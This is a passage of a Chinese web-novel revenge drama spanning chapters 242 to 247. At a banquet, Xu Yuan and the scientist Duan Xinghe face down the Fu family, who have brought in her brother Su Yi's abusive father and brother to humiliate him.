许愿离开时就看到守在阳台门口处的容浔,他还是那副优雅淡然的模样,唇角噙着波澜不惊的笑意,好像发生任何事都难不倒他。 第242章 背叛者,该受到惩罚 “恭喜你,拿到了跟段星河合作的机会。” 他好像完全没有自己输给许愿的感觉,或许是给她一种毫不在乎的错觉。 许愿停下脚步,她看向面前笑得温柔的男人。 容浔一直都是这副姿态,优雅大方,偶尔冷淡疏离却永远不会让人看到他的真实内心,强大却又可怕。 她在傅氏三年,从未真正了解过容浔。 或许说……从未了解过容浔的阴暗面。 她知道容浔心思深重算无遗策她甚至清楚的知道是容浔在某些事情上出了一把力,可面对他时就是觉得他不该是这样的人。 “是段星河想跟我合作,不是我想跟段星河合作,你应该搞清楚这其中的利害关系。” 许愿声音淡淡,眼底藏着的凉意完全不带遮掩。 “不论如何,恭喜你。” 许愿嗯了一声,她不打算跟容浔交流更多,转身就要离开,容浔叫住她。 “为盛景炎做那些值得吗。” “比起盛世的猜忌,傅氏才是最适合你的,傅总会绝对的相信你,不是吗。” 许愿像是勾起唇角,露出一抹明显带着嘲意的笑。 “先让傅京礼解决好傅长海有关的事再提这些,只要傅长海还活着,我永远都不会跟傅氏有什么亲近的牵扯。” 她开口,让容浔听得清楚。 “傅氏对我做的,我全都知道,我平等的恨着你们傅氏每一个高层。” 她说“你们傅氏”,不再是像以前那般眼底藏着小星星语气骄傲的说:“我们傅氏。” 许愿离开了。 容浔叹了口气。 可惜。 许愿是铁了心要帮盛景炎了。 她知道他们的一切算计,却还要义无反顾的选择盛景炎那个废人,真是死脑筋啊。 多了一位强大的敌人对手,还有点吃不消。 容浔长指敲了敲杯壁,眼底的凉意泛起阵阵波澜。 但愿许愿不会做出什么真正伤害傅氏的事情,否则……他不会留情的。 还在阳台的傅京礼有片刻的失神。 沈略眼神略有些暗淡,傅京礼点了根烟,在朦胧夜色下恍惚的想要抽一口,似是想到她以前也只是应酬时会抽烟,其实并不爱闻这味道,便摁灭了烟。 他嗓音凉薄。 “你可以现在就准备辞职报告,将你所负责的工作交接好后可以随时离开傅氏,我不会逼你。” 沈略对傅氏忠心最大的原因是沈略出身并不好,当年是傅家资助了沈略念书,沈略能有今天可以说全因傅氏的栽培。 就像现在,傅京礼没有逼他。 他想走,他不强留。 沈略的心早就随着许愿去了,留不下的。 他留在傅氏他们还要提防沈略,傅氏现在真正的大案子和大合作不再经他的手,傅氏已经不再适合沈略了。 “陪在许愿身边也不错,你们关系这么好,她不会亏待你。” 沈略声音带上点哑意,他望向傅京礼,一时说不出话,片刻后才嗯了一声。 沈略离开时明显看到容浔坐在阳台门口的休息躺椅中,慢条斯理的品着酒。 看到他那一瞬,沈略身体都僵硬了一瞬。 容浔抬眸扫他一眼,上下打量了片刻,倏而轻笑一声。 “看来你是做好决定了。” “也好。” “许愿身边确实是缺少一个信任的下属助理,你到她身边刚刚好。” “打算什么时候离开。” 容浔好像真的只是单纯的在寒暄,沈略却觉得浑身发冷。 “还没决定。”他声音干涩。 “决定好后记得跟我说。”容浔压低声音:“我会为你举办一场盛大的欢送会。” 往日里许愿还在时他们是铁三角,容浔信任他们将他们看作自己人所以才敞开些许心扉,但许愿的离开让他知道没有人可以轻易被相信,所以许愿了,离开后沈略的诸多权利被收回。 他对待沈略也像是对待旁的人,会暗中施压。 他从未将许愿看作朋友,更不会将沈略看作朋友。 他是绝对的利己主义者,在他这里,他和傅京礼才是完全统一战线的,他只会帮傅京礼,任何会损害傅京礼利益的人都是对手。 沈略顿了下,仓惶离开。 容浔眼神危险的将杯中的烈酒一饮而尽。 背叛者,该受到惩罚。 …… 华国A市机场 机场内,人来人往,繁忙而有序。 傅守越从国际航班的出口缓缓走出,他的身形高大俊美,每一步都带着一种难以言喻的气场。 他穿着一身剪裁合体的西装,显得格外引人注目。 尽管外表温润如玉,但那双深邃的眼眸中却隐约透露出一丝不易察觉的危险气息。 傅嘉誉早已等候多时,她的眼神里满是期待和喜悦。 当傅守越的身影出现在视线中时,她的脸上绽放出了灿烂的笑容。 “哥!这里!我在这里!”傅嘉誉开心的朝他的方向挥手。 傅守越的目光在触及傅嘉誉的那一刻变得温柔起来,仿佛整个世界都因此而明亮了几分。 然而,在她的身旁还站着一个年轻男子——温然,傅嘉誉未来可能成为男朋友的人选。温然温和地微笑着,礼貌地向傅守越点头致意。 他注意到站在一旁的温然时,眼神中的那份温情瞬间被一层薄冰所覆盖。 尽管嘴角依旧挂着微笑,但这笑容已经不再那么温暖,取而代之的是淡淡的冷意。 他清楚的记得在国外经常听到傅嘉誉提起这个男人,温然,她崇拜爱慕的金融系天才学长。 傅守越眸光黯淡片刻,不等他想更多,傅嘉誉已经冲过来。 “哥,你终于回来了!”傅嘉誉快步上前,给了傅守越一个拥抱。 她的声音里充满了激动与喜悦。 傅守越轻轻拍了拍傅嘉誉的背,目光却始终没有离开过温然。 “这是……”他开口问道,语气平和,但其中隐含着询问的意思。 显而易见的明知故问。 “哦,这是我朋友温然。”傅嘉誉连忙介绍道,然后凑到傅守越耳边声音很轻很轻:“他是我未来的准男友。” 听到这里,傅守越脸上的笑容变得更加复杂了。 第243章 傅守越 就在这个时候,他的手机突然响了起来,来电显示是傅长海。傅守越微微皱眉,接起了电话。 “父亲。”傅守越的声音一如既往地沉稳冷静。 “守越啊,你回来了吗?现在有个重要的晚宴,我希望你能出席。”傅长海的声音透过听筒传来,听起来危险又偏执。 “我知道了,我会去的。”傅守越简短地回答道,然后挂断了电话。 他转向傅嘉誉和温然,眼中闪过一丝无奈。“看来我得先去准备一下,稍后还有个晚宴要参加。” “没关系,我们送你回去吧。”傅嘉誉提议道,同时看向温然寻求赞同。 后者点了点头表示同意。 温然明显能感觉到傅守越打量自己时眼含探究,不过他性子淡,也没将傅守越看作多在乎的人,并不在意他此刻无缘无故产生的厌恶感。 三人一起离开了机场,一路上气氛有些微妙。 傅守越虽然表面保持着礼貌的态度,但就是能让人感觉到有些不对。 “哥你不知道,嫂子跟大哥离婚了。” 她有点幽怨:“都怪大哥不争气。” 傅嘉誉试图缓解这份紧张感,不时地找话题聊天,谈起A市发生的事情,她不提傅长海受伤的事,其实说到底还是接受不来。 傅守越虽然人在国外,但是国内发生过什么事他心知肚明,他不打断傅嘉誉的话,不过是想多听听她的声音罢了。 车子一直开到段星河举办晚宴的地点,路上傅长海传了份资料给傅守越,他翻阅着资料,越是往下看眉头皱得越深。 他倒是不知道他在国外这段时间国内发生了这么多的事。 到了晚宴现场,傅守越下了车,目光落在傅嘉誉脸上未曾移开。 傅嘉誉眨了下眼。 “哥你不走……难道是想起来还没有送我礼物吗?” 傅嘉誉立刻兴奋的伸出双手摇晃着:“礼物礼物,哥哥哥,我的礼物呢。” “我看中巴黎新出的那款包包了,还有那款蓝宝石项链,超漂亮的!哥你有没有给我拍下来!” 傅守越失笑,抬起手揉了揉她的发梢。 “已经托运回来了,明天到,在家等着收礼物就好。” “我超爱哥哥的!” 傅嘉誉开心的就是跳下车一个熊抱。 傅守越抱着她转了个圈,惹得傅嘉誉“咯咯咯”的笑个不停。 温然沉默的坐在车上,眼神淡漠的透过车窗看向举止亲密的那对兄妹,眼底的危险凉意几乎要渗出来。 怪不得会那种眼神看他,原来是将他看作情敌。 温然毫不躲闪,正对上傅守越幽深的黑眸,四目相对,冷意肆意。 傅嘉誉却全然感受不到这些,被傅守越放下来后脸上的笑意止都止不住。 傅守越抿唇:“嘉誉,不如让你这位学长一起参加今晚的晚宴,既然是金融系的,那今晚的晚宴或许对他有益。” 金融圈的商业活动,自然是能拓展人脉圈的。 前提是,你有资本,而不是硬蹭进来的小家族或者攀高枝的人。 温然出身不好,纵然是A大金融系被誉为金融天才的他也不会被圈内人高看。 他提出这个就是为了让温然清楚的知道他和傅嘉誉之间的差距。 傅嘉誉不是他能配得上的。 傅嘉誉明显愣住了,她征询意见的朝着温然看去,温然只笑了笑。 “我都可以。” 傅嘉誉立刻就应允了。 傅长海下车看到三人眼皮跟着跳了下,却并没有问什么,只颔首笑了笑便带着几人进入晚宴。 傅嘉誉叽叽喳喳的跟温然一起,傅守越眸光沉沉的推着轮椅,开口:“父亲,是谁做的。” 若非被人设计陷害,傅长海不会受伤。 “许愿。” 傅守越眼神一暗。 “我会让她付出代价。” 傅长海眼神危险:“暂时还用不到你,今晚我会送许愿一个大礼,你明天在金融峰会给我好好表现就够了。” “是的父亲。” 傅守越开口应了一声,视线却一直未曾从傅嘉誉和温然相携离去的身影上移开。 “别看了。” “只要你对我忠心,嘉誉迟早会发现你的好。”傅长海没有给他什么承诺,只是模棱两可的一句话。 傅守越虽然没说什么,但瞳眸幽暗跟在傅长海身边。 晚宴的氛围充满了优雅与奢华。 宴会厅内装潢精致,天花板上悬挂着璀璨夺目的水晶吊灯,柔和而明亮的光线洒在铺着雪白桌布的圆桌上。 每张桌子上都摆放着精美的餐具和鲜花装饰,空气中弥漫着淡淡的花香与美食香气。 背景音乐悠扬地播放着轻柔的古典乐曲,营造出一种温馨而不失庄重的气氛。 宾客们身着盛装,男士大多穿着深色西装,女士则以各式各样的礼服亮相,整个空间里充满了交谈声与笑声。 服务员穿梭其间,为客人提供各种美酒佳肴。 傅守越刚一踏入宴会厅面对众多熟悉的面孔以及一些新面孔,他迅速调整了自己的状态,展现出从容不迫的姿态。 他的眼神中流露出自信与温和,嘴角挂着恰到好处的笑容,既不过于谄媚也不显得冷淡,傅长海对此很满意。 他面对老友侃侃而谈介绍自己的养子,傅守越也的确没有让他丢脸。 在与长辈或商界前辈交谈时,傅守越更是表现出了极高的尊重与敬意。他会认真聆听对方讲话,并适时提出自己的看法或建议,显示出其良好的教养与深厚的知识底蕴。 即便是在讨论较为专业复杂的话题时,他也能够游刃有余地应对,甚至偶尔还能幽默风趣地化解尴尬局面,赢得周围人的好感。 傅嘉誉一直跟在傅守越身边,眼睛闪闪发亮。 在她心里傅京礼很优秀,但哥哥傅守越同样优秀。 有人看到傅嘉誉身边的温然,却什么都没问笑吟吟的掠过,有些情商低的开口:“这是傅小姐的男朋友吗?也是,傅小姐也到了要谈婚论嫁的年纪了。” 温然微微敛眉未给任何回应,只是那双淡漠疏离的眼眸愈发冷了。 第244章 针锋相对 傅嘉誉是满脸娇羞,傅长海面无表情,傅守越面上带着微笑开口:“嘉誉还小,我和父亲总担心嘉誉还不够成熟,谈婚论嫁的……倒是还早。” 傅长海就没想过傅嘉誉嫁出去,他想的是为傅嘉誉招个人上来,等他夺得傅家产业将一切都交给傅嘉誉,让她成为傅家的继承人。 这才是傅长海真正想做的。 …… 重新回到晚宴现场,许愿看到了一个不该出现在晚宴现场的人,是坐在轮椅上的傅长海。 他伤得很重,头上还裹着纱布,但脸上带着笑容,笑意儒雅。 而他身边则守着一名相貌英俊儒雅的高大男人,是傅长海在傅家多次提过的养子傅守越,傅嘉誉则和温然在另一侧,看着不像来参加宴会,反倒是像来走个过场的。 许愿眸色沉了几分。 看来傅长海是真的感觉到了危机才将远在国外的傅守越叫回国做助力啊。 似是感受到一道不算友好的视线,傅守越慢条斯理的抬眸,正对上许愿那双淡然的波澜不惊的水眸。 傅长海很多次听傅长海和傅嘉誉提起过许愿,傅长海提到她就是“那个继承了苏青莲强大基因的聪明女人”傅长海说她“阴险”“狡诈”“心思深重”“一身反骨”“报复心极强”,但在傅嘉誉口中,她漂亮、优秀、强大、甚至是完美的存在。 这还是他真正意义上第一次见到许愿。 确实是难得一见的美貌,起码这些年傅长海还没有见过比许愿这张脸更令他惊艳的,特别是那双仿佛藏有深沉故事的眼睛。 他只是看着,便觉得她已经对自己说了很多。 如果他只是个陌生普通的男人,怕是早就被这一眼带进沟里,心甘情愿为她做任何事。 可惜,他心里有人了。 傅守越偏头略过傅嘉誉,看到傅嘉誉捧着一杯酒递到温然手中,脸上堆满了笑意,幸福满满。 傅守越眼瞳暗了几分。 “那就是许愿,我们最大的敌人。” 傅长海压低声音,只有父子二人能听到的程度。 “守越,你可以尝试与她交谈。” 他没拒绝,事实上他也想知道许愿能说些什么。 傅守越步履从容的走到许愿身边,友好的伸出手:“许总,初次见面,我是嘉誉的哥哥傅守越,常听嘉誉提起你,感谢你对她这几年的照顾。” 场内众人都知道傅守越是傅长海的养子,没人知道许愿和傅长海的矛盾仇恨,他们只记得许愿离开了傅氏,却还在微博力挺傅氏,所以在这群人眼里,许愿与傅氏还是捆绑的同盟关系。 许愿抬眸看向他,她脸上带着笑意,笑意不达眼底,藏着虚伪的凉意。 “你很聪明。” “你知道我和傅长海之间解不开的仇恨,所以你说你是傅嘉誉的哥哥。” “可你为什么会觉得我会给傅嘉誉面子。” 许愿微笑:“你为什么回国,大家心知肚明,不必演得太过分。” “一来就是敌人,也没有认识的必要,不是吗。” 傅守越为什么回国?因为傅长海扛不住了。 傅长海自己无法真正对付许愿,他急需助力来回血,急需助力来替他守着傅嘉誉,所以傅守越出现了。 说是傅长海的养子,许愿更愿意将他看作是傅长海二号。 同样的虚伪危险。 傅守越脸上的笑意慢慢隐去。 “许总,你想让在场的人都知道你与傅氏有了矛盾吗。” “那又如何。”许愿神色寡淡的喝了口热牛奶,缓缓开口:“总归损失的是傅氏。” “我与你们傅氏已经是完全对立的状态,损失的是傅氏,我为什么要在意。” 现在的许愿真是油盐不进,完全不给他趁虚而入的机会。 果然难办啊。 就像父亲说的,她活着,对他们没有多少好处,但……他会将许愿手中的东西夺走再让她痛苦的离开这世界。 傅守越脸上的笑意一直没有隐去,他轻笑一声,就听到场内突然传来嘈杂的吵闹声。 那是一道熟悉却又陌生的沧桑男声,他凄厉的惨叫着大喊着“苏逸”。 许愿浑身一颤,傅守越随意的抬手推了推眼镜,声音浅淡。 “好像是一场闹剧呢。” 话落,傅守越抬起头,只瞥了眼唇角的笑意都多了嘲意。 “苏逸,如果我没记错,似乎是许总的……弟弟?” 许愿不由得紧紧握拳:“闭嘴。” “好的,既然许总不高兴那我就不说了,只是今晚……祝许总好运了。” 傅守越像是看戏围观的旁观者,许愿匆忙赶过去,却见本该在局子里的苏正坤和苏浩天出现在晚宴现场,两人虽然衣着华贵但是脸上却有着青紫红肿的痕迹。 他们身体匍匐在地上不停对着面前的少年求饶,声音凄厉悲惨。 “小逸,是爸爸错了,爸爸不该为了点钱逼你做事,你让你姐姐放过我和你哥哥好不好,我们要疯了!我们真的要疯了!” “那监狱!那监狱不是人待得!他们每天都拿我和你哥哥当乐子!” “小逸,你看看!你看看爸爸浑身都是伤!” “你行行好,救救我们!啊!救救我们!” “我养了你那么多年,你不能因为那点小事就这样报复我和你哥哥啊!” 他跪在地上求饶,泪流满面。 而他们面前的少年,正是苏逸。 苏逸此刻似乎已经无法镇定,苏正坤已经扑过来,抱住苏逸的腿痛哭落泪大声呼救,周围的人都在对着他指指点点议论纷纷。 分明是属于上流圈子的晚宴,却发生了这样离谱又可笑的事。 而他成了其中的笑话。 苏逸觉得既恶心又想吐。 他是接到一条短信告诉他许愿参加晚宴喝了酒需要人来接,他当时脑子一热没想太多,到了现场才猛然发现这似乎是为他设立的圈套,只等着他入圈。 苏逸很想踹开他,他看到苏正坤就会生理性的厌恶想吐。 可他在害怕,害怕自己做错事会给许愿带来麻烦。 “苏逸!” 许愿已经冲过来,她身体还未完全恢复,脚下一软,一直关注她的刑从景立刻扶稳她的身体。 第245章 段星河的谜之操作 “谢谢。” 许愿站稳身体,抬起头时眼底全部都是冷意。 她看向刑从景毫不留情的开口:“这是段星河举办的宴会,负责这场宴会的是你的队员,邢队可以考虑清楚要怎么跟我解释了。” 话落许愿站在苏逸身边,她根本没有考虑后果,一脚踹到苏正坤的身上,苏正坤是真的神情恍惚,被踹得身体歪倒在一旁滚动着,他身上套着一件西装,但他整个人又有些矮胖,滑稽可笑。 他似乎是反应过来面前的人是许愿。 他浑身都在发抖,猛然就想到被关进去那天许愿对他说过的话。 她会让他们父子都付出应有的代价,她是真的狠,如果只是坐牢,他们也不会崩溃到这种地步。 令人崩溃的是他们被分配到跟监狱里的混子一个房间,那些混子像是被暗示过一样,每天会因为一点小事故意磋磨他们父子,他们已经被整治得快要精神紊乱了。 傅长海找到他们问他们愿不愿意报复苏逸报复许愿,甚至许诺能给他们一大笔钱带他们离开监狱后他们几乎想当场把傅长海捧起来供着,最好是再供奉几盏长明灯。 真的到了现场,见到许愿他们灵魂深处的慌乱令他们组织好的语言,背好的所有台词都在此刻抹黑忘得一干二净。 要说什么,要污蔑苏逸什么? 忘了,全都忘了! “邢队,可以把人带走了。” 许愿表情淡漠,声音平缓。 刑从景颔首,傅长海偏头瞥了傅守越一眼,傅守越面上带着温和的笑意。 “许总似乎草率了。” “今晚是段老师举办的晚宴,来者是客,你这样不经过段老师的同意私自驱赶宾客似乎有些僭越了。” 众人目光纷纷落到一直稳稳坐在角落沙发上悠哉玩游戏的段星河身上,他专心玩游戏,完全没注意到现场发生了什么,或许先前听到了苏正坤父子那凄厉的叫声,但完全没当回事。 总归晚宴是刑从景的人准备的,他没处理好挨批的是他跟他可没关系。 “段老师,您要不要说句话?” 分明是段星河举办的宴会,他却如此沉默玩游戏,倒显得旁的人多戏了。 他啧了一声,将手机游戏存了个档然后嚷嚷:“许愿!许愿你过来!救救!快救救你搭档!” 众人等了好半天,就等来段星河这么句话。 傅守越脸上的笑意僵了片刻,苏正坤父子也傻眼了,苏逸表情也有些古怪。 许愿也不知道段星河想出了什么幺蛾子,带着苏逸过去,苏逸先她一步扶着她,以免她身体虚弱双脚发软摔倒。 “你快看看,我就玩个恋爱游戏为什么第一期我好感度这么低被投出去了?我操作的这个女主角没有魅力吗!他们应该全都选我,我应该是万人迷啊!可恶!” 段星河手机拍到桌上,有点丧,但是配合他的发言,许愿眼角紧跟着抽了抽。 “你……玩的什么游戏?” 许愿实在忍不住问了句。 “就养成的恋爱养鱼游戏啊,全都不爱我,可恶,我没有魅力吗!” 段星河继续破防中。 “你来,你来,你给我过剧情我倒要看看你做选择会有个什么好结果,可恶。” 他连着说了好几个可恶。 “这种游戏,你到底为什么会觉得我能玩得过。”许愿实在不想理。 段星河抱胸上下打量许愿几眼哼了一声:“大概因为许总是整个A市上流圈子最想恋爱的对象。” 许愿并不想被这么评价,但她现在跟段星河是同盟,玩个游戏也不是不行。 于是,众目睽睽之下,许愿和段星河就在上流圈子的晚宴现场,开始恋爱小游戏。 本该是他们的主场,他们却在玩小游戏。 段星河的助理人也傻了,好半天才支支吾吾的开口:“段老师,那苏家父子的事……” “别吵,他们不是知道错了喜欢跪着道歉吗,就跪那儿待着,赎罪就要有个好点的态度,去盯着他俩,这姿势太难看了,让他们身板挺直。” 段星河轻飘飘的来了这么一句。 现场没有人在此刻开口,只能听到段星河的助理在那边呵斥苏家父子,但凡两人想要大喊大叫苏逸的名字就会被捂住嘴巴,完全暴力堵嘴,甚至还能听到段星河的助理训斥:“别吵,你们打扰到段老师玩游戏了。” 很好。 不愧是段星河的助理。 宴会现场一片寂静,偶尔能听到人的议论声,但更多的是段星河在询问许愿为什么这么选为什么那么选。 “这个为什么要坐这个男人的车送我们?我没车吗,你看女主角这么大个总裁没有车吗!我们有车我们自己开车!”段星河叽叽喳喳。 许愿淡淡道:“坐他的车才会有更多接触,不接触怎么开启其他剧情,不开启剧情怎么涨好感,不涨好感度怎么让他们选择你。” “……” 段星河迷之沉默。 他迷茫了一下。 平日里逆天的智商在遇到这种事的时候拐了十几二十道弯。 他思考了很久开口:“为什么不是男主角主动贴近我的女主角,说他的车子没有油了需要女主角送?他一个男人不能主动点?他不主动怎么跟我开启剧情,不跟我开启剧情怎么涨好感?” “……”许愿盯着他看了许久才叹了口气:“你有没有想过,是你要养鱼,他不是你的鱼吗。” 段星河看着许愿。 许愿眼睛不眨的看他。 段星河恍然大悟的点头。 “哦,我懂了。” 很好,终于懂了。 许愿继续后面的剧情,在一名男主角色一起约会的时候出现了两个选项,安静的欣赏风景,和他谈工作,和他谈彼此的喜好,了解彼此的家庭。 段星河又兴奋了。 “就是这里!他扣了我二十好感度!扣到负数啊!” “我倒要看你怎么选!” “这次选什么都一定会扣好感度的!” 段星河得意抱肩。 然后就见许愿选了安静欣赏风景的选项,游戏角色好感+10。 段星河:“?” 第246章 你们都滚 段星河头顶似乎不受控制的冒出了问号。 “凭什么?” “他是狗吗?” “他这么沉默这么无趣我主动开启话题他嫌弃我,你安静他就涨好感度?他有病?” 许愿点开游戏觉得个人属性界面,将手机界面几乎要拍到段星河脸上。 只见界面上是男角色的个人简介。 上面明明白白的标注对方没有将身边人划进自己保护圈成为自己人前不会敞开心扉,厌恶没有边界感的人,厌恶不熟的人窥探自己的一切,厌恶休息时间提到工作、家庭,如果爱上你,另当别论,他会偏执到充满占有欲,主动将一切剖开给你看。 段星河到嘴边叽叽喳喳的话都变成了一个“哦”。 “哦,是我没有边界感了。” 第一分段的游戏终于玩完,段星河激动的要去看许愿打出什么结局,然后看到许愿得到了一张身份卡牌。 #人气女王# 这张卡翻面过来就是一句话“他们都爱你”。 “凭什么啊!” 段星河不服! 凭什么他打出的就是注定孤寡被人投出去,许愿随随便便一玩就成了他们都爱她!不服!天王老子来了都不服。 “凭我情商高,凭我知己知彼,凭我善于接触分析每个人的性格特点,凭你一直坚持我行我素,这样够了吗。” 许愿说得其实很具体了。 段星河就是这样一个自我的人,他优秀聪明,但他不会在意身边任何人,他不会尝试去认识身边人,他甚至会觉得这是浪费时间的,需要别的人来主动接触他才够。 许愿为什么能有那样多的追求者? 因为许愿懂得太多了,几乎所有人跟她在一起都会觉得很舒服,是因为她在向下兼容,不会让人感受到不快。 哪怕许愿真的智商与那些人之间隔着几座高山她也不会让人觉察出来。 但段星河不同。 若是许愿面对旁人会说,你已经很优秀,能做到这一步就已经赢了很多人,段星河则会说,哈,你这个垃圾出生就输在智商基因上了,你只是这世界上另外百分之九十九的庸人。 这就是对比。 就像许愿做事,她会先去了解对方再去接触对方,段星河就是等着对方跪着求着来求合作求爱他。 这就是他们之间的差距。 段星河撇撇嘴嗤了一声。 见段星河终于玩完这场游戏,助理这才重新迎上来简单介绍了下现场情况。 “哦。” 段星河不高兴的看着苏正坤,嘴巴里叼了根棒棒糖。 他居高临下的打量着跪在地上的父子二人。 “你俩……来干嘛的。” 苏正坤嘴巴里的布巾被取出来,他红着眼睛就要嚷嚷,段星河咦了一声捏住自己的鼻子,助理心领神会立刻重新堵住苏正坤的嘴巴。 “好臭啊。” 苏正坤:“?” 段星河是不是有什么大病啊! “太臭了,还是丢出去最省事。” 段星河也不等旁的人问什么,慢悠悠的下了定论,现场的人目光隐晦的落到许愿身上,许是觉得段星河是故意要维护许愿才会如此说。 傅守越面色温和的开口:“段老师这样做是不是太武断了,或许他们也是没有办法才求进这场晚宴的,不如听听看他们有什么请求?我想段老师也不是铁石心肠的人。” “哦,这两个垃圾是你们傅家人带进来的。” 傅守越只是开口说了一句话,段星河就已经下了结论。 傅守越:“……” 话虽如此,但是段星河怎么就这么确定? 傅守越脸上的笑意都有片刻僵硬。 “段老师,我父亲只是觉得这父子二人有点可怜所以才想帮一把。” “傅长海都坐轮椅了,怎么看都是他自己更可怜,让他帮帮他自己吧。”段星河嗤笑开口,毫不留情的嘲讽。 傅长海脸上的淡定表情都怔住了。 “知道这是属于上流圈子和科研圈的晚宴吗。” 段星河眸光淡淡的看向傅守越。 “你认为这两人能被分到哪一类,他们是有钱有权?还是有足够高的智商能让我破例将他们看作我的宾客。” “知道什么样的人才能被我迎为宾客吗?” “至今为止被我看作宾客的只有苏青莲和许愿。” “这两人是什么东西?只能躲在阴暗角落腐朽生存,像是阴沟老鼠人人喊打的蛆虫也配参加我的宴会?” “我不管你和傅长海是出于什么心理邀请了这两个垃圾。” “但你要明白,因为你们父子二人做的蠢事,让我的宴会都开始散发着垃圾场的腐烂臭味。” “你们父子能为此负责吗。” 所以说,就像许愿说的那样。 段星河这个人太自我,他不会考虑旁人的相反,此刻他就是不爽,不爽到咄咄逼人,逼到傅守越这虚伪的人变脸。 事实上,段星河有说错吗? 他本来就眼高于顶认为自己是世界上最牛的人,没有人比他更聪明,他骄傲自负,这是他第一次在A市举办这类晚宴,傅长海和傅守越带了这么个东西,想恶心许愿和苏逸还是恶心他呢? 苏正坤和苏浩天这样的人,说出去普通人都瞧不上要啐两口的烂人出现在这样的场合,配吗? 就是拿这两人的脸皮来擦洗地面段星河都觉得脏的程度。 “所以,他们滚,你们父子也滚。” 段星河笑眯眯的,丝毫不给他半分面子。 周围人面面相觑,却没有人敢上前来阻止说什么和稀泥的话,段星河这人脾气这么冲,唯一那点偏心的温柔怕是都给许愿了,对他们?他不咄咄逼人的嘲讽都是好的,他们可不敢强出头。 别到时候没能帮傅家人解围还要被段星河记上一笔一起骂赶出宴会,那就丢大人了。 “你这人到底会不会说话!有没有基本的涵养!我哥哥都说了他只是看他们父子可怜才会带着他们来现场!你没看到他们浑身是伤吗!你这个人怎么能这么冷血无情!” 温然没有阻拦傅嘉誉,傅嘉誉已经冲动的冲上去拦在傅守越身前。 第247章 我弟弟,苏逸 被辱骂的段星河脸上的表情都没有任何变化。 “他们浑身是伤这么可怜,为什么不带他们去医院包扎,而是套上不属于他们的奢华礼服来到晚宴现场。” 段星河歪头,他推了推鼻梁的眼镜,眼神犀利。 “你的父兄是要败坏许愿姐弟的名誉你是真的看不出来吗。” “如果你看出来了却还要装出不懂的模样站出来维护他们做出一副小白花模样,那你就是恶毒,如果你没看出来……那你就是真的愚蠢了。” “敢问傅小姐,你是哪种。” 段星河开口的话毫不留情。 现场已经有人听不下去的扶了扶额小声嘟囔:“都没让你滚出去还站出来干什么,你说你招惹他干嘛,那张嘴是活该找丢人呢。” 有人嗤笑连连。 “实在是不巧了,我的晚宴同样不需要恶毒和愚蠢的人参加,所以……你也滚。” 段星河完全不管此刻傅嘉誉已经快要被羞辱哭的模样。 许愿默默的看着这一幕,眼底都带着讥讽。 多好啊。 她在遭遇那些磨难时傅嘉誉却被所有人都保护得好好的,纯白无瑕,不沾半点脏污,所以才会如此天真不考虑后果。 她不是嫉恨傅嘉誉,她只是觉得可笑。 傅长海这个人明明坏事做尽,却偏偏在傅嘉誉这里是个为她考虑一切的慈父。 听听她的名字。 “嘉誉” 他希望他的女儿能够满身光辉满身荣耀,而不是像旁的父母一样只希望自己的女儿嫁个好男人。 再看傅守越的名字,“守越”谐音“守约”,想必傅长海最初领养傅守越就是为了有人能像他一样爱着傅嘉誉。 而她的母亲呢。 许愿指尖轻微蜷缩。 她抬起头,傅长海此刻似乎已经快要急眼了,他愤怒道:“许愿!你就只看着吗!你和嘉誉感情那样好你就真的不管不顾吗!段星河他只听你的!” “所以说,心脏的人无时无刻都在想着报复旁人。” 段星河嘲讽:“傅长海,你这时开口说这句话想表达什么?想说许愿背叛跟傅嘉誉的友情还是想暗示别的人我和许愿有什么暧昧关系。” “我爸不是这样的人!” 傅嘉誉才不信这些,她已经快要被气哭了。 许愿就这样看着现场,她能看到周围的人对着傅嘉誉指指点点议论纷纷。 是啊,段星河几句话就将局面扭转过来,让那些还在想许愿做了什么丑事的人注意力全都到傅家人身上 “不是哦,你的父兄都是这样的人。” 段星河笑吟吟的持续攻击傅嘉誉。 傅守越眼神冰冷的将傅嘉誉带到自己身后护好,声音里面沉浸着寒意。 “现场有几个人是真正干净的,段老师只围攻我们傅家人心里藏了什么心思段老师自己心里清楚。” 段星河笑得肩膀耸动。 “现场的人确实都不干净,但……” 段星河眼底笑意加深,他嗓音带着点蛊惑的哑意,像是刻意的想让她听出自己对许愿的偏爱。 “谁让你们傅家碰的是许愿呢。” 是啊,谁让傅家碰的是许愿呢。 段星河从来不是什么好人,若是这人在古代能坐上君主的位置那必定是亲小人远贤臣的一种人,任人唯亲,唯心主义。 他心里什么不清楚呢,可他跟苏青莲是什么关系,跟这群人又是什么关系?这群人配跟许愿比吗? 许愿是故人之女,更是以后的搭档。 他不护着许愿他护着谁? 傅守越眸光淡然:“段老师能如此直白的说出这些话,段老师真的不知道明天在上流圈子会传出什么流言重伤许愿。” “重伤?” 段星河笑吟吟的。 “我替老友苏青莲照顾我这个小侄女,若是这种流言也能满天飞,那我可以让他们试试看招惹我的后果。” 段星河如今在圈内的地位是上面都要护着的程度,除非上面找到能提到段星河的人,否则,段星河就是重点保护对象,没有人可以伤到段星河分毫。 段星河嚣张却有嚣张的资本。 “所以,你们傅家人可以滚了。” 段星河打了个响指,刑从景微微颔首,隐匿在暗处的警备队成员出现在晚宴现场,这一幕已经惹得周围人议论纷纷。 所有人都清楚,他们要再一次重新考虑段星河的身份了。 “不必赶他们离开。” 许愿站在苏逸身边,她居高临下的看着被捂住嘴的苏家父子二人。 “我想我可以向你们介绍这两位的身份。” “苏正坤,苏浩天,吃喝嫖赌五毒俱全卖子求荣涉及高考替考案件,如果有谁要替这两位说情随时可以开口。” 她不提苏逸跟苏正坤的关系。 说是养父吗?苏正坤不配。 她更不会在众目睽睽之下撕开苏逸的伤疤,她不愿苏逸被众人议论。 她只是如此简短的介绍了这父子二人,场内已经有人想起了前阵子闹得沸沸扬扬的高考替考的案子,圈子里不少小家族的都因此销声匿迹,他们不清楚背后的人是谁,但此刻一切都具象化。 真的不是许愿举报了这些然后将这父子二人送进去吗? 许愿不需要提到更多,晚宴上的人就已经明白了一切。 这对父子就是许愿亲手送进去的,他们为什么这种时候出现在这里?还是被傅长海带进场?那许愿和傅家到底是同盟还是…… 众人意味深长的目光落到傅长海和傅守越身上。 最后惊诧的目光落到许愿的脸上,眼神各异,似乎都想从许愿脸上看出点什么,可从始至终许愿脸上的神情都是淡漠的,或者说满不在乎的。 她的手放到苏逸的肩上。 苏逸身量很高,不过许愿身姿高挑,又穿着高跟鞋倒是比苏逸低不了多少。 苏逸虽然个子高,但其实并不是很健壮,甚至还带着少年人的单薄瘦弱,此刻许愿将手搭在苏逸肩上,苏逸感受得到许愿掌心的热度。 